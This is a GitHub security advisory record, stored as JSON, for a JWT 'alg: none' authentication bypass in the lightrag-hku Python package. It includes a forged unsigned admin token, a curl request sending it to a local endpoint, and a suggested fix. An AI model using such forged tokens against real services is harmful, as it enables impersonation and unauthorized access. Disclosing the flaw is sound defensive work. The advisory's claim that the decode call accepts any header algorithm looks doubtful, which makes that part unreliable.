-
Notifications
You must be signed in to change notification settings - Fork 591
Expand file tree
/
Copy pathGHSA-8ffj-4hx4-9pgf.json
More file actions
64 lines (64 loc) · 3.18 KB
/
GHSA-8ffj-4hx4-9pgf.json
File metadata and controls
64 lines (64 loc) · 3.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
{
"schema_version": "1.4.0",
"id": "GHSA-8ffj-4hx4-9pgf",
"modified": "2026-04-08T00:17:54Z",
"published": "2026-04-08T00:17:50Z",
"aliases": [
"CVE-2026-39413"
],
"summary": "lightrag-hku: JWT Algorithm Confusion Vulnerability ",
"details": "## Summary\nThe LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the `jwt.decode()` call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.\n\n## Details\nIn `lightrag/api/auth.py` at line 128, the `validate_token` method calls:\n\n```python\npayload = jwt.decode(token, self.secret, algorithms=[self.algorithm])\n```\n\nThis allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.\n\n## PoC\nAn attacker can generate a JWT with the following structure:\n\n```json\n{\n \"header\": {\n \"alg\": \"none\",\n \"typ\": \"JWT\"\n },\n \"payload\": {\n \"sub\": \"admin\",\n \"exp\": 1700000000,\n \"role\": \"admin\"\n }\n}\n```\n\nThen send a request like:\n\n```bash\ncurl -H \"Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0.\" http://localhost:8000/api/protected-endpoint\n```\n\n## Impact\nAn attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.\n\n## Recommended Fix\nExplicitly specify allowed algorithms and exclude 'none'. Modify the `validate_token` method to:\n\n```python\nallowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']\npayload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)\n```\n\nOr better yet, hardcode the expected algorithm(s):\n\n```python\npayload = jwt.decode(token, self.secret, algorithms=['HS256'])\n```",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N"
}
],
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lightrag-hku"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.14"
}
]
}
],
"database_specific": {
"last_known_affected_version_range": "<= 1.4.13"
}
}
],
"references": [
{
"type": "WEB",
"url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-8ffj-4hx4-9pgf"
},
{
"type": "WEB",
"url": "https://github.com/HKUDS/LightRAG/commit/728f2e54509d93e0a44f929c7f83f2c88d6d291b"
},
{
"type": "PACKAGE",
"url": "https://github.com/HKUDS/LightRAG"
}
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"severity": "MODERATE",
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:17:50Z",
"nvd_published_at": null
}
}